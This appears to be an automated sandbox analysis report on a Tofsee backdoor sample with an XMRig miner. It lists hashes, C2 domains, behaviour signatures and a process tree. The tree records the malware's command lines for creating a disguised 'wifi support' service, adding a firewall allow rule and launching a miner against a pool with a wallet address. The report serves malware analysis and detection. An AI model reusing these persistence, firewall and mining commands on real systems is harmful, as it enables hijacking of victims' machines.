Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    19-04-2023 02:17

General

  • Target

    e75735f7291fe1d0d38a5f7f8f25eeebcb347619dd1df065ea2ea7cb077e35e8.exe

  • Size

    213KB

  • MD5

    e468614fc58a4100991210b073621dd3

  • SHA1

    c75a31fb2d660bda920034a6c6caecdf1d1f690d

  • SHA256

    e75735f7291fe1d0d38a5f7f8f25eeebcb347619dd1df065ea2ea7cb077e35e8

  • SHA512

    e513e3da86bb5defd047026f1aa6d21c7676a2939eefbd1e3ea1c67cecc0ca486f3f47c67ce5768da33d0b480eec4f4b98b99c60b39213b3988efbdbb9fbe358

  • SSDEEP

    3072:2g8L7IZulOSCTwH+3AufD3wmLK2z4sOYwkYrW5B51zI7iMWkv:A0ulO6ArfLKwdZ07iMFv

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e75735f7291fe1d0d38a5f7f8f25eeebcb347619dd1df065ea2ea7cb077e35e8.exe
    "C:\Users\Admin\AppData\Local\Temp\e75735f7291fe1d0d38a5f7f8f25eeebcb347619dd1df065ea2ea7cb077e35e8.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1808
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hproscvw\
      2⤵
        PID:108
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vyvofhbr.exe" C:\Windows\SysWOW64\hproscvw\
        2⤵
          PID:2000
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hproscvw binPath= "C:\Windows\SysWOW64\hproscvw\vyvofhbr.exe /d\"C:\Users\Admin\AppData\Local\Temp\e75735f7291fe1d0d38a5f7f8f25eeebcb347619dd1df065ea2ea7cb077e35e8.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:340
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description hproscvw "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:580
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start hproscvw
          2⤵
          • Launches sc.exe
          PID:596
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:552
      • C:\Windows\SysWOW64\hproscvw\vyvofhbr.exe
        C:\Windows\SysWOW64\hproscvw\vyvofhbr.exe /d"C:\Users\Admin\AppData\Local\Temp\e75735f7291fe1d0d38a5f7f8f25eeebcb347619dd1df065ea2ea7cb077e35e8.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1584
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1120
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:108

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\vyvofhbr.exe
        Filesize

        12.4MB

        MD5

        406219a9e272848cfec4bbb1395d3dc4

        SHA1

        10e298227b10e4020d32537a0bb0aa5ec1789d6a

        SHA256

        c53d7ac5edb857e9ecf3e9ca4851a1525d4c72ce64f9701090e8f2135bbf12e5

        SHA512

        cd84aac197c2cfacee4c88c524e951172d20c532bd12985bb87e94c151673b04781c815e6364e1d2f3bc261de66d2ac13b3d472c2f28f29ab81ef0d57356617a

      • C:\Windows\SysWOW64\hproscvw\vyvofhbr.exe
        Filesize

        12.4MB

        MD5

        406219a9e272848cfec4bbb1395d3dc4

        SHA1

        10e298227b10e4020d32537a0bb0aa5ec1789d6a

        SHA256

        c53d7ac5edb857e9ecf3e9ca4851a1525d4c72ce64f9701090e8f2135bbf12e5

        SHA512

        cd84aac197c2cfacee4c88c524e951172d20c532bd12985bb87e94c151673b04781c815e6364e1d2f3bc261de66d2ac13b3d472c2f28f29ab81ef0d57356617a

      • memory/108-110-0x0000000000290000-0x0000000000381000-memory.dmp
        Filesize

        964KB

      • memory/108-124-0x0000000000290000-0x0000000000381000-memory.dmp
        Filesize

        964KB

      • memory/108-123-0x0000000000290000-0x0000000000381000-memory.dmp
        Filesize

        964KB

      • memory/108-122-0x0000000000290000-0x0000000000381000-memory.dmp
        Filesize

        964KB

      • memory/108-121-0x0000000000290000-0x0000000000381000-memory.dmp
        Filesize

        964KB

      • memory/108-120-0x0000000000290000-0x0000000000381000-memory.dmp
        Filesize

        964KB

      • memory/108-119-0x0000000000290000-0x0000000000381000-memory.dmp
        Filesize

        964KB

      • memory/108-111-0x0000000000290000-0x0000000000381000-memory.dmp
        Filesize

        964KB

      • memory/1120-88-0x0000000000130000-0x0000000000140000-memory.dmp
        Filesize

        64KB

      • memory/1120-93-0x0000000000130000-0x0000000000140000-memory.dmp
        Filesize

        64KB

      • memory/1120-74-0x00000000019D0000-0x0000000001BDF000-memory.dmp
        Filesize

        2.1MB

      • memory/1120-75-0x0000000000110000-0x0000000000116000-memory.dmp
        Filesize

        24KB

      • memory/1120-78-0x0000000000130000-0x0000000000140000-memory.dmp
        Filesize

        64KB

      • memory/1120-81-0x0000000000130000-0x0000000000140000-memory.dmp
        Filesize

        64KB

      • memory/1120-82-0x0000000000130000-0x0000000000140000-memory.dmp
        Filesize

        64KB

      • memory/1120-83-0x0000000000130000-0x0000000000140000-memory.dmp
        Filesize

        64KB

      • memory/1120-84-0x0000000000130000-0x0000000000140000-memory.dmp
        Filesize

        64KB

      • memory/1120-85-0x0000000000130000-0x0000000000140000-memory.dmp
        Filesize

        64KB

      • memory/1120-86-0x0000000000130000-0x0000000000140000-memory.dmp
        Filesize

        64KB

      • memory/1120-87-0x0000000000130000-0x0000000000140000-memory.dmp
        Filesize

        64KB

      • memory/1120-60-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1120-89-0x0000000000130000-0x0000000000140000-memory.dmp
        Filesize

        64KB

      • memory/1120-90-0x0000000000130000-0x0000000000140000-memory.dmp
        Filesize

        64KB

      • memory/1120-91-0x0000000000130000-0x0000000000140000-memory.dmp
        Filesize

        64KB

      • memory/1120-92-0x0000000000130000-0x0000000000140000-memory.dmp
        Filesize

        64KB

      • memory/1120-71-0x00000000019D0000-0x0000000001BDF000-memory.dmp
        Filesize

        2.1MB

      • memory/1120-94-0x0000000000130000-0x0000000000140000-memory.dmp
        Filesize

        64KB

      • memory/1120-95-0x0000000000130000-0x0000000000140000-memory.dmp
        Filesize

        64KB

      • memory/1120-96-0x0000000000130000-0x0000000000140000-memory.dmp
        Filesize

        64KB

      • memory/1120-97-0x0000000000130000-0x0000000000140000-memory.dmp
        Filesize

        64KB

      • memory/1120-98-0x0000000000140000-0x0000000000145000-memory.dmp
        Filesize

        20KB

      • memory/1120-101-0x0000000000140000-0x0000000000145000-memory.dmp
        Filesize

        20KB

      • memory/1120-102-0x0000000005590000-0x000000000599B000-memory.dmp
        Filesize

        4.0MB

      • memory/1120-105-0x0000000005590000-0x000000000599B000-memory.dmp
        Filesize

        4.0MB

      • memory/1120-106-0x0000000000150000-0x0000000000157000-memory.dmp
        Filesize

        28KB

      • memory/1120-69-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1120-112-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1120-68-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1120-67-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1120-61-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
        Filesize

        4KB

      • memory/1120-63-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1584-64-0x0000000000400000-0x00000000004A2000-memory.dmp
        Filesize

        648KB

      • memory/1808-62-0x0000000000400000-0x00000000004A2000-memory.dmp
        Filesize

        648KB

      • memory/1808-56-0x0000000000230000-0x0000000000243000-memory.dmp
        Filesize

        76KB